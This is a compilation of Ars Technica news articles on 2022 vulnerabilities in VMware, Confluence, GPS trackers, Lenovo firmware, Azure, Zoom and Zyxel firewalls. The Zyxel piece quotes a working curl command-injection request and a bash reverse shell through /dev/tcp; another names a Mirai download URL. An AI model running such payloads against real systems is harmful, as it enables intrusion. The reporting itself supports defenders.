Exploit code was released this week for a just-patched vulnerability in VMware Cloud Foundation and NSX Manager appliances that allows hackers with no authentication to execute malicious code with the highest system privileges.

VMware patched the vulnerability, tracked as CVE-2021-39144, on Tuesday and issued it a severity rating of 9.8 out of a possible 10. The vulnerability, which resides in the XStream open source library that Cloud Foundation and NSX Manager rely on, posed so much risk that VMware took the unusual step of patching versions that were no longer supported. The vulnerability affects Cloud Foundation versions 3.11, and lower. Versions 4.x aren’t at risk.

“VMware Cloud Foundation contains a remote code execution vulnerability via XStream open source library,” the company’s advisory, published Tuesday, read. “Due to an unauthenticated endpoint that leverages XStream for input serialization in VMware Cloud Foundation (NSX-V), a malicious actor can get remote code execution in the context of ‘root’ on the appliance.”

The vulnerability was discovered by Sina Kheirkhah and Steven Seeley of security firm Source Incite. At the same time VMware disclosed and patched the vulnerability, Kheirkhah published their own advisory, which included the following proof-of-concept exploit.

“In XStream <= 1.4.18 there is a deserialization of untrusted data and is tracked as CVE-2021-39144,” Kheirkhah wrote. “VMWare NSX Manager uses the package xstream-1.4.18.jar so it is vulnerable to this deserialization vulnerability. All we need to do is find an endpoint that is reachable from an unauthenticated context to trigger the vulnerability. I found an authenticated case but upon showing Steven, he found another location in the /home/secureall/secureall/sem/WEB-INF/spring/security-config.xml configuration. This particular endpoint is pre-authenticated due to the use of isAnonymous.”

“isAnonymous” is a Boolean function that indicates a particular account is anonymous.

With exploit code available, a vulnerability of this severity is likely to pose a serious threat to many organizations. Anyone using an affected appliance should prioritize patching as soon as possible. Organizations that can’t immediately patch can apply this temporary workaround.

https://arstechnica.com/?p=1893721

Hackers have been exploiting a now-patched vulnerability in VMware Workspace ONE Access in campaigns to install various ransomware and cryptocurrency miners, a researcher at security firm Fortinet said on Thursday.

CVE-2022-22954 is a remote code execution vulnerability in VMware Workspace ONE Access that carries a severity rating of 9.8 out of a possible 10. VMware disclosed and patched the vulnerability on April 6. Within 48 hours, hackers reverse-engineered the update and developed a working exploit that they then used to compromise servers that had yet to install the fix. VMware Workspace ONE access ​​helps administrators configure a suite of apps employees need in their work environments.

In August, researchers at Fortiguard Labs saw a sudden spike in exploit attempts and a major shift in tactics. Whereas before the hackers installed payloads that harvested passwords and collected other data, the new surge brought something else—specifically, ransomware known as RAR1ransom, a cryptocurrency miner known as GuardMiner, and Mirai, software that corrals Linux devices into a massive botnet for use in distributed denial-of-service attacks.

“Although the critical vulnerability CVE-2022-22954 is already patched in April, there are still multiple malware campaigns trying to exploit it,” Fortiguard Labs researcher Cara Lin wrote. Attackers, she added, were using it to inject a payload and achieve remote code execution on servers running the product.

The Mirai sample Lin saw getting installed was downloaded from http[:]//107[.]189[.]8[.]21/pedalcheta/cutie[.]x86_64 and relied on a command and control server at “cnc[.]goodpackets[.]cc. Besides delivering junk traffic used in DDoSes, the sample also attempted to infect other devices by guessing the administrative password they used. After decoding strings in the code, Lin found the following list of credentials the malware used:

https://arstechnica.com/?p=1892156

What’s worse than a widely used Internet-connected enterprise app with a hardcoded password? Try said enterprise app after the hardcoded password has been leaked to the world.

Atlassian on Wednesday revealed three critical product vulnerabilities, including CVE-2022-26138 stemming from a hardcoded password in Questions for Confluence, an app that allows users to quickly receive support for common questions involving Atlassian products. The company warned the passcode was “trivial to obtain.”

The company said that Questions for Confluence had 8,055 installations at the time of publication. When installed, the app creates a Confluence user account named disabledsystemuser, which is intended to help admins move data between the app and the Confluence Cloud service. The hardcoded password protecting this account allows for viewing and editing of all non-restricted pages within Confluence.

“A remote, unauthenticated attacker with knowledge of the hardcoded password could exploit this to log into Confluence and access any pages the confluence-users group has access to,” the company said. “It is important to remediate this vulnerability on affected systems immediately.”

A day later, Atlassian was back to report that “an external party has discovered and publicly disclosed the hardcoded password on Twitter,” leading the company to ratchet up its warnings.

“This issue is likely to be exploited in the wild now that the hardcoded password is publicly known,” the updated advisory read. “This vulnerability should be remediated on affected systems immediately.”

The company warned that even when Confluence installations don’t actively have the app installed, they may still be vulnerable. Uninstalling the app doesn’t automatically remediate the vulnerability because the disabledsystemuser account can still reside on the system.

To figure out if a system is vulnerable, Atlassian advised Confluence users to search for accounts with the following information:

• User: disabledsystemuser
• Username: disabledsystemuser
• Email: dontdeletethisuser@email.com

Atlassian provided more instructions for locating such accounts here. The vulnerability affects Questions for Confluence versions 2.7.x and 3.0.x. Atlassian provided two ways for customers to fix the issue: disable or remove the “disabledsystemuser” account. The company has also published this list of answers to frequently asked questions.

Confluence users looking for exploitation evidence can check the last authentication time for disabledsystemuser using the instructions here. If the result is null, the account exists on the system, but no one has yet signed in using it. The commands also show any recent login attempts that were successful or unsuccessful.

“Now that the patches are out, one can expect patch diff and reversing engineering efforts to produce a public POC in a fairly short time,” Casey Ellis, founder of vulnerability reporting service Bugcrowd, wrote in a direct message. “Atlassian shops should get on to patching public-facing products immediately, and those behind the firewall as quickly as possible. The comments in the advisory recommending against proxy filtering as mitigation suggest that there are multiple trigger pathways.

The other two vulnerabilities Atlassian disclosed on Wednesday are also serious, affecting the following products:

• Bamboo Server and Data Center
• Bitbucket Server and Data Center
• Confluence Server and Data Center
• Crowd Server and Data Center
• Crucible
• Fisheye
• Jira Server and Data Center
• Jira Service Management Server and Data Center

Tracked as CVE-2022-26136 and CVE-2022-26137, these vulnerabilities make it possible for remote, unauthenticated hackers to bypass Servlet Filters used by first- and third-party apps.

“The impact depends on which filters are used by each app, and how the filters are used,” the company said. “Atlassian has released updates that fix the root cause of this vulnerability but has not exhaustively enumerated all potential consequences of this vulnerability.”

Vulnerable Confluence servers have long been a favorite opening for hackers looking to install ransomware, cryptominers, and other forms of malware. The vulnerabilities Atlassian disclosed this week are serious enough that admins should prioritize a thorough review of their systems, ideally before the weekend starts.

https://arstechnica.com/?p=1868878

A security firm and the US government are advising the public to immediately stop using a popular GPS tracking device or to at least minimize exposure to it, citing a host of vulnerabilities that make it possible for hackers to remotely disable cars while they’re moving, track location histories, disarm alarms, and cut off fuel.

An assessment from security firm BitSight found six vulnerabilities in the Micodus MV720, a GPS tracker that sells for about $20 and is widely available. The researchers who performed the assessment believe the same critical vulnerabilities are present in other Micodus tracker models. The China-based manufacturer says 1.5 million of its tracking devices are deployed across 420,000 customers. BitSight found the device in use in 169 countries, with customers including governments, militaries, law enforcement agencies, and aerospace, shipping, and manufacturing companies.

BitSight discovered what it said were six “severe” vulnerabilities in the device that allow for a host of possible attacks. One flaw is the use of unencrypted HTTP communications that makes it possible for remote hackers to conduct adversary-in-the-middle attacks that intercept or change requests sent between the mobile application and supporting servers. Other vulnerabilities include a flawed authentication mechanism in the mobile app that can allow attackers to access the hardcoded key for locking down the trackers and the ability to use a custom IP address that makes it possible for hackers to monitor and control all communications to and from the device.

The security firm said it first contacted Micodus in September to notify company officials of the vulnerabilities. BitSight and CISA finally went public with the findings on Tuesday after trying for months to privately engage with the manufacturer. As of the time of writing, all of the vulnerabilities remain unpatched and unmitigated.

“BitSight recommends that individuals and organizations currently using MiCODUS MV720 GPS tracking devices disable these devices until a fix is made available,” researchers wrote. “Organizations using any MiCODUS GPS tracker, regardless of the model, should be alerted to insecurity regarding its system architecture, which may place any device at risk.”

The US Cybersecurity and Infrastructure Security Administration is also warning about the risks posed by the critical security bugs.

“Successful exploitation of these vulnerabilities could allow an attacker control over any MV720 GPS tracker, granting access to location, routes, fuel cutoff commands, and the disarming of various features (e.g., alarms),” agency officials wrote.

The vulnerabilities include one tracked as CVE-2022-2107, a hardcoded password that carries a severity rating of 9.8 out of a possible 10. Micodus trackers use it as a master password. Hackers who obtain this passcode can use it to log in to the web server, impersonate the legitimate user, and send commands to the tracker through SMS communications that appear to come from the GPS user’s mobile number. With this control, hackers can:

• Gain complete control of any GPS tracker
• Access location information, routes, geofences, and track locations in real time
• Cut off fuel to vehicles
• Disarm alarms and other features

A separate vulnerability, CVE-2022-2141, leads to a broken authentication state in the protocol the Micodus server and the GPS tracker use to communicate. Other vulnerabilities include a hardcoded password used by the Micodus server, a reflected cross-site scripting error in the Web server, and an insecure direct object reference in the Web server. The other tracking designations include CVE-2022-2199, CVE-2022-34150, CVE-2022-33944.

“The exploitation of these vulnerabilities could have disastrous and even life-threatening implications,” BitSight researchers wrote. “For example, an attacker could exploit some of the vulnerabilities to cut fuel to an entire fleet of commercial or emergency vehicles. Or, the attacker could leverage GPS information to monitor and abruptly stop vehicles on dangerous highways. Attackers could choose to surreptitiously track individuals or demand ransom payments to return disabled vehicles to working condition. There are many possible scenarios which could result in loss of life, property damage, privacy intrusions, and threaten national security.”

Attempts to reach Micodus for comment were unsuccessful.

The BitSight warnings are important. Anyone using one of these devices should turn it off immediately, if possible, and consult with a trained security specialist before using it again.

https://arstechnica.com/?p=1867912

For owners of more than 70 Lenovo laptop models, it’s time once again to patch the UEFI firmware against critical vulnerabilities that attackers can exploit to install malware that’s nearly impossible to detect or remove.

The laptop maker on Tuesday released updates for three vulnerabilities that researchers found in the UEFI firmware used to boot up a host of its laptop models, including the Yoga, ThinkBook, and IdeaPad lines. The company assigned a medium severity rating to the vulnerabilities, which are tracked CVE-2022-1890, CVE-2022-1891, and CVE-2022-1892 and affect the ReadyBootDxe, SystemLoadDefaultDxe, and SystemBootManagerDxe drivers, respectively.

“The vulnerabilities can be exploited to achieve arbitrary code execution in the early phases of the platform boot, possibly allowing the attackers to hijack the OS execution flow and disable some important security features,” security firm ESET said. “These vulnerabilities were caused by insufficient validation of DataSize parameter passed to the UEFI Runtime Services function GetVariable. An attacker could create a specially crafted NVRAM variable, causing buffer overflow of the Data buffer in the second GetVariable call.”

Short for Unified Extensible Firmware Interface, UEFI is the software that bridges a computer’s device firmware with its operating system. As the first piece of software to run when virtually any modern machine is turned on, it’s the first link in the security chain. Because the UEFI resides in a flash chip on the motherboard, infections are difficult to detect and remove. Typical measures such as wiping the hard drive and reinstalling the OS have no meaningful impact because the UEFI infection will simply reinfect the computer afterward.

Many motherboard-resident flash chips that store the UEFI have access control mechanisms that can be locked during the boot process to prevent unauthorized firmware changes. It’s not clear if the affected Lenovo models have that capability. Even if they do, these protections are often turned off, misconfigured, or hampered by vulnerabilities. ESET researchers weren’t immediately available to comment on the requirements for exploits of these particular vulnerabilities.

In any event, owners of Lenovo laptops should take a minute to check Wednesday’s advisory to see if their model is vulnerable since firmware updates often require manual installation.

https://arstechnica.com/?p=1866641

Blame is mounting on Microsoft for what critics say is a lack of transparency and adequate speed when responding to reports of vulnerabilities threatening its customers, security professionals said.

Microsoft’s latest failing came to light on Tuesday in a post that showed Microsoft taking five months and three patches before successfully fixing a critical vulnerability in Azure. Orca Security first informed Microsoft in early January of the flaw, which resided in the Synapse Analytics component of the cloud service and also affected the Azure Data Factory. It gave anyone with an Azure account the ability to access the resources of other customers.

From there, Orca Security researcher Tzah Pahima said, an attacker could:

• Gain authorization inside other customer accounts while acting as their Synapse workspace. We could have accessed even more resources inside a customer’s account depending on the configuration.
• Leak credentials customers stored in their Synapse workspace.
• Communicate with other customers’ integration runtimes. We could leverage this to run remote code (RCE) on any customer’s integration runtimes.
• Take control of the Azure batch pool managing all of the shared integration runtimes. We could run code on every instance.

Third time’s the charm

Despite the urgency of the vulnerability, Microsoft responders were slow to grasp its severity, Pahima said. Microsoft botched the first two patches, and it wasn’t until Tuesday that Microsoft issued an update that entirely fixed the flaw. A timeline Pahima provided shows just how much time and work it took his company to shepherd Microsoft through the remediation process.

• January 4 – The Orca Security research team disclosed the vulnerability to the Microsoft Security Response Center (MSRC), along with keys and certificates we were able to extract.
• February 19 & March 4 – MSRC requested additional details to aid its investigation. Each time, we responded the next day.
• Late March – MSRC deployed the initial patch.
• March 30 – Orca was able to bypass the patch. Synapse remained vulnerable.
• March 31 – Azure awards us $60,000 for our discovery.
• April 4 (90 days after disclosure) – Orca Security notifies Microsoft that keys and certificates are still valid. Orca still had Synapse management server access.
• April 7 – Orca met with MSRC to clarify the implications of the vulnerability and the required steps to fix it in its entirety.
• April 10 – MSRC patches the bypass, and finally revokes the Synapse management server certificate. Orca was able to bypass the patch yet again. Synapse remained vulnerable.
• April 15 – MSRC deploys the 3rd patch, fixing the RCE and reported attack vectors.
• May 9 – Both Orca Security and MSRC publish blogs outlining the vulnerability, mitigations, and recommendations for customers.
• End of May – Microsoft deploys more comprehensive tenant isolation including ephemeral instances and scoped tokens for the shared Azure Integration Runtimes.

Silent fix, no notification

The account came 24 hours after security firm Tenable related a similar tale of Microsoft failing to transparently fix vulnerabilities that also involved Azure Synapse. In a post headlined Microsoft’s Vulnerability Practices Put Customers At Risk, Tenable Chairman and CEO Amit Yoran complained of a “lack of transparency in cybersecurity” Microsoft showed one day before the 90-day embargo lifted on critical vulnerabilities his company had privately reported.

He wrote:

Both of these vulnerabilities were exploitable by anyone using the Azure Synapse service. After evaluating the situation, Microsoft decided to silently patch one of the problems, downplaying the risk. It was only after being told that we were going to go public, that their story changed… 89 days after the initial vulnerability notification…when they privately acknowledged the severity of the security issue. To date, Microsoft customers have not been notified.

Tenable has technical details here.

Critics have also called out Microsoft for failing to fix a critical Windows vulnerability called Follina until it had been actively exploited in the wild for more than seven weeks. The exploit method was first described in a 2020 academic paper. Then in April, researchers from Shadow Chaser Group said on Twitter that they had reported to Microsoft that Follina was being exploited in an ongoing malicious spam run and even included the exploit file used in the campaign.

For reasons Microsoft has yet to explain, the company didn’t declare the reported behavior as a vulnerability until two weeks ago and didn’t release a formal patch until Tuesday.

For its part, Microsoft is defending its practices and has provided this post detailing the work involved in fixing the Azure vulnerability found by Orca Security.

In a statement, company officials wrote: “We are deeply committed to protecting our customers and we believe security is a team sport. We appreciate our partnerships with the security community, which enables our work to protect customers. The release of a security update is a balance between quality and timeliness, and we consider the need to minimize customer disruptions while improving protection.”

https://arstechnica.com/?p=1860900

The Meeting Owl Pro is a videoconference device with an array of cameras and microphones that captures 360-degree video and audio and automatically focuses on whoever is speaking to make meetings more dynamic and inclusive. The consoles, which are slightly taller than an Amazon Alexa and bear the likeness of a tree owl, are widely used by state and local governments, colleges, and law firms.

A recently published security analysis has concluded the devices pose an unacceptable risk to the networks they connect to and the personal information of those who register and administer them. The litany of weaknesses includes:

• The exposure of names, email addresses, IP addresses, and geographic locations of all Meeting Owl Pro users in an online database that can be accessed by anyone with knowledge of how the system works. This data can be exploited to map network topologies or socially engineer or dox employees.
• The device provides anyone with access to it with the interprocess communication channel, or IPC, it uses to interact with other devices on the network. This information can be exploited by malicious insiders or hackers who exploit some of the vulnerabilities found during the analysis
• Bluetooth functionality designed to extend the range of devices and provide remote control by default uses no passcode, making it possible for a hacker in proximity to control the devices. Even when a passcode is optionally set, the hacker can disable it without first having to supply it.
• An access point mode that creates a new Wi-Fi SSID while using a separate SSID to stay connected to the organization network. By exploiting Wi-Fi or Bluetooth functionalities, an attacker can compromise the Meeting Owl Pro device and then use it as a rogue access point that infiltrates or exfiltrates data or malware into or out of the network.
• Images of captured whiteboard sessions—which are supposed to be available only to meeting participants—could be downloaded by anyone with an understanding of how the system works.

Glaring vulnerabilities remain unpatched

Researchers from modzero, a Switzerland- and Germany-based security consultancy that performs penetration testing, reverse engineering, source-code analysis, and risk assessment for its clients, discovered the threats while conducting an analysis of videoconferencing solutions on behalf of an unnamed customer. The firm first contacted Meeting Owl-maker Owl Labs of Somerville, Massachusetts, in mid-January to privately report their findings. As of the time this post went live on Ars, none of the most glaring vulnerabilities had been fixed, leaving thousands of customer networks at risk.

In a 41-page security disclosure report (PDF) the modzero researchers wrote:

While the operational features of this product line are interesting, modzero does not recommend using these products until effective measures are applied. The network and Bluetooth features cannot be turned off completely. Even a standalone usage, where the Meeting Owl is only acting as a USB camera, is not suggested. Attackers within the proximity range of Bluetooth can activate the network communication and access critical IPC channels.

In a statement, Owl Labs officials wrote:

Owl Labs takes security seriously: We have teams dedicated to implementing ongoing updates to make our Meeting Owls smarter and to fixing security flaws and bugs, with defined processes for pushing out updates to Owl devices.

We release updates monthly, and many of the security concerns highlighted in the original article have already been addressed and will begin rollout next week.

Owl Labs takes these vulnerabilities seriously. To the best of our knowledge, there have never been any customer security breaches. We have either already addressed, or are in the process of addressing other points raised in the research report.

Below are the specific updates we are making to address security vulnerabilities, which will be available in June 2022 and implemented starting tomorrow:

• RESTful API to retrieve PII data will no longer be possible
• Implement MQTT service restrictions to secure IoT comms
• Removing access to PII from a previous owner in the UI when transferring a device from one account to another
• Limiting access or removing access to switchboard port exposure
• Fix for Wi-Fi AP tethering mode

https://arstechnica.com/?p=1857849

In January 2019, a researcher disclosed a devastating vulnerability in one of the most powerful and sensitive devices embedded into modern servers and workstations. With a severity rating of 9.8 out of 10, the vulnerability affected a wide range of baseboard management controllers (BMC) made by multiple manufacturers. These tiny computers soldered into the motherboard of servers allow cloud centers, and sometimes their customers, to streamline the remote management of vast fleets of computers. They enable administrators to remotely reinstall OSes, install and uninstall apps, and control just about every other aspect of the system—even when it’s turned off.

Pantsdown, as the researcher dubbed the threat, allowed anyone who already had some access to the server an extraordinary opportunity. Exploiting the arbitrary read/write flaw, the hacker could become a super admin who persistently had the highest level of control for an entire data center.

The industry mobilizes… except for one

Over the next few months, multiple BMC vendors issued patches and advisories that told customers why patching the vulnerability was critical.

Now, researchers from security firm Eclypsium reported a disturbing finding: for reasons that remain unanswered, a widely used BMC from data center solutions provider Quanta Cloud Technology, better known as QCT, remained unpatched against the vulnerability as recently as last month.

As if QCT’s inaction wasn’t enough, the company’s current posture also remains baffling. After Eclypsium privately reported its findings to QCT, the solutions company responded that it had finally fixed the vulnerability. But rather than publish an advisory and make a patch public—as just about every company does when fixing a critical vulnerability—it told Eclypsium it was providing updates privately on a customer-by-customer basis. As this post was about to go live, “CVE-2019-6260,” the industry’s designation to track the vulnerability, didn’t appear on QCT’s website.

In an email, Eclypsium VP of Technology John Loucaides wrote:

Eclypsium is continuing to find that custom servers (eg. Quanta) remain unpatched to vulnerabilities from as far back as 2019. This is affecting a myriad of devices from a large number of cloud providers. The problem isn’t any one vulnerability, it’s the system that keeps cloud servers old and vulnerable. Quanta has only just released the patch for these systems, and they did not provide it for verification. In fact, their response to us was that it would only be made available upon request to support.”

Multiple Quanta representatives didn’t respond to two emails sent over consecutive days requesting confirmation of Eclypsium’s timeline and an explanation of its patching process and policies.

Current, but not patched

A blog post Eclypsium published on Thursday shows the type of attack that’s possible to carry out on QCT BMCs using firmware available on QCT’s update page as of last month, more than three years after Pantsdown came to light.

Eclypsium’s accompanying video shows an attacker gaining access to the BMC after exploiting the vulnerability to modify its web server. The attacker then executes a publicly available tool that uses Pantsdown to read and write to the BMC firmware. The tool allows the attacker to supply the BMC with code that opens a reverse web shell whenever a legitimate administrator refreshes a webpage or connects to the server. The next time the admin tries to take either action, it will fail with a connection error.

Behind the scenes, however, and unbeknownst to the admin, the attacker’s reverse shell opens. From here on, the attacker has full control of the BMC and can do anything with it that a legitimate admin can, including establishing continued access or even permanently bricking the server.

The power and ease of use of the Pantsdown exploit are by no means new. What is new, contrary to expectations, is that these types of attacks have remained possible on BMCs that were using firmware QCT provided as recently as last month.

QCT’s decision not to publish a patched version of its firmware or even an advisory, coupled with the radio silence with reporters asking legitimate questions, should be a red flag. Data centers or data center customers working with this company’s BMCs should verify their firmware’s integrity or contact QCT’s support team for more information.

Even when BMCs come from other manufacturers, cloud centers, and cloud center customers shouldn’t assume they’re patched against Pantsdown.

“This is a serious problem, and we do not believe it is a unique occurrence,” Loucaides wrote. “We’ve seen currently deployed devices from each OEM that remain vulnerable. Most of those have updates that simply were not installed. Quanta’s systems and their response did set them apart, though.”

https://arstechnica.com/?p=1856683

Google’s Project Zero vulnerability research team detailed critical vulnerabilities Zoom patched last week making that made it possible for hackers to execute zero-click attacks that remotely ran malicious code on devices running the messaging software.

Tracked as CVE-2022-22786 and CVE-2022-22784, the vulnerabilities made it possible to perform attacks even when the victim took no action other than to have the client open. As detailed on Tuesday by Google Project Zero researcher Ivan Fratric, inconsistencies in how the Zoom client and Zoom servers parse XMPP messages made it possible to “smuggle” content in them that usually would be blocked. By combining those flaws with a glitch in the way Zoom’s code-signing verification works, Fratric achieved full code execution.

“User interaction is not required for a successful attack,” the researcher wrote. “The only ability an attacker needs is to be able to send messages to the victim over Zoom chat over XMPP protocol.” Fratric continued:

Initial vulnerability (labeled XMPP Stanza Smuggling) abuses parsing inconsistencies between XML parsers on Zoom’s client and server in order to be able to “smuggle” arbitrary XMPP stanzas to the victim client. From there, by sending a specially crafted control stanza, the attacker can force the victim client to connect to a malicious server, thus turning this primitive into a man-in-the-middle attack. Finally, by intercepting/modifying client update requests/responses, the victim client downloads and executes a malicious update, resulting in arbitrary code execution. A client downgrade attack is utilized to bypass signature check on the update installer. This attack has been demonstrated against the latest (5.9.3) client running on Windows 64-bit, however some or all parts of the chain are likely applicable to other platforms.

In December, Zoom finally joined the 21st century when it gave the macOS and Windows clients the ability to update automatically. The severity of the vulnerabilities fixed last week underscores the importance of auto update. Often, within a few hours or days of the updates like these becoming available, hackers have already reverse engineered them and use them as an exploit road map. And yet, one of the computers I regularly use for Zoom had yet to install the patches until Wednesday, when I thought to choose the “Check for Updates” option.

For my Zoom client to auto update, it needed to run an intermediate version first. Once I manually updated, the auto update was finally in place. Readers may want to check their systems to ensure they’re running the latest version, too.

https://arstechnica.com/?p=1856508

Hardware manufacturer Zyxel quietly released an update fixing a critical vulnerability that gives hackers the ability to control tens of thousands of firewall devices remotely.

The vulnerability, which allows remote command injection with no authentication required, carries a severity rating of 9.8 out of a possible 10. It’s easy to exploit by sending simple HTTP or HTTPS requests to affected devices. The requests allow hackers to send commands or open a web shell interface that enables hackers to maintain privileged access over time.

High-value, easy to weaponize, requires no authentication

The vulnerability affects a line of firewalls that offer a feature known as zero-touch provisioning. Zyxel markets the devices for use in small branch and corporate headquarter deployments. The devices perform VPN connectivity, SSL inspection, web filtering, intrusion protection, and email security and provide up to 5Gbps throughput through the firewall. The Shodan device search service shows more than 16,000 affected devices are exposed to the Internet.

The specific devices affected are:

The vulnerability is tracked as CVE-2022-30525. Rapid7, the security firm that discovered it and privately reported it to Zyxel, said that the VPN series of the devices also support ZTP, but they’re not vulnerable because they don’t include other required functionality. In an advisory published Thursday, Rapid7 researcher Jake Baines wrote:

The affected models are vulnerable to unauthenticated and remote command injection via the administrative HTTP interface. Commands are executed as the nobody user. This vulnerability is exploited through the /ztp/cgi-bin/handler URI and is the result of passing unsanitized attacker input into the os.system method in lib_wan_settings.py. The vulnerable functionality is invoked in association with the setWanPortSt command. An attacker can inject arbitrary commands into the mtu or the data parameter.

Below are examples of (1) curl that causes the firewall to execute a ping of to IP address 192.168.1.220, followed by (2) the powershell output the results, (3) the spawning of a reverse shell and (4) things a hacker can do with the reverse shell:

1. 1. curl -v --insecure -X POST -H "Content-Type: application/json" -d '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged"
      :"1","vlanid":"5","mtu":"; ping 192.168.1.220;","data":"hi"}'
      https://192.168.1.1/ztp/cgi-bin/handler
      

   2. nobody 11040 0.0 0.2 21040 5152 ? S Apr10 0:00 \_ /usr/local/apache/bin/httpd -f /usr/local/zyxel-gui/httpd.conf -k graceful -DSSL
      nobody 16052 56.4 0.6 18104 11224 ? S 06:16 0:02 | \_ /usr/bin/python /usr/local/zyxel-gui/htdocs/ztp/cgi-bin/handler.py
      nobody 16055 0.0 0.0 3568 1492 ? S 06:16 0:00 | \_ sh -c /usr/sbin/sdwan_iface_ipc 11 WAN3 4 ; ping 192.168.1.220; 5 >/dev/null 2>&1
      nobody 16057 0.0 0.0 2152 564 ? S 06:16 0:00 | \_ ping 192.168.1.220
      

   3. curl -v --insecure -X POST -H "Content-Type: application/json" -d '
      {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged": "1","vlanid":"5","mtu":"; bash -c \"exec bash -i &>/dev/tcp/
      192.168.1.220/1270 <&1;\";","data":"hi"}' https://192.168.1.1
      /ztp/cgi-bin/handler
      

   4. albinolobster@ubuntu:~$ nc -lvnp 1270
      Listening on 0.0.0.0 1270
      Connection received on 192.168.1.1 37882
      bash: cannot set terminal process group (11037): Inappropriate ioctl for device
      bash: no job control in this shell
      bash-5.1$ id
      id
      uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr)
      bash-5.1$ uname -a
      uname -a
      Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Mar 15 05:14:51 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux
      Bash-5.1
      

Rapid7 has developed a module for the Metasploit exploit framework here that automates the exploitation process.

Baines said that Rapid7 notified Zyxel of the vulnerability on April 13 and that the two parties agreed to provide a coordinated disclosure, including the fix, on June 21. The researcher went on to say that unbeknownst to Rapid7, the hardware manufacturer released a firmware update on April 28 that quietly fixed the vulnerability. Zyxel only obtained the CVE number on Tuesday, after Rapid7 asked about the silent patch, and published an advisory on Thursday.

According to AttackerKB, a resource on security vulnerabilities, CVE-2022-30525 is of high value to threat actors because it’s easy to weaponize, requires no authentication, and can be exploited in the default setup of vulnerable devices. Rapid7 representatives weren’t available to answer basic questions about the accuracy of that assessment.

Administrators must manually apply the patch unless they have changed default settings to allow automatic updating. Early indications are that the patch hasn’t been widely deployed, as a Shodan query for just one of the vulnerable firewalls, the ATP200, showed that only about 25 percent of exposed devices were running the latest firmware.

Vulnerabilities affecting firewalls can be especially severe because they sit at the outer edge of networks where incoming and outgoing traffic flows. Many firewalls can also read data before it’s encrypted. Administrators who oversee networks that use these affected devices should prioritize investigating their exposure to this vulnerability and patch accordingly.

https://arstechnica.com/?p=1854055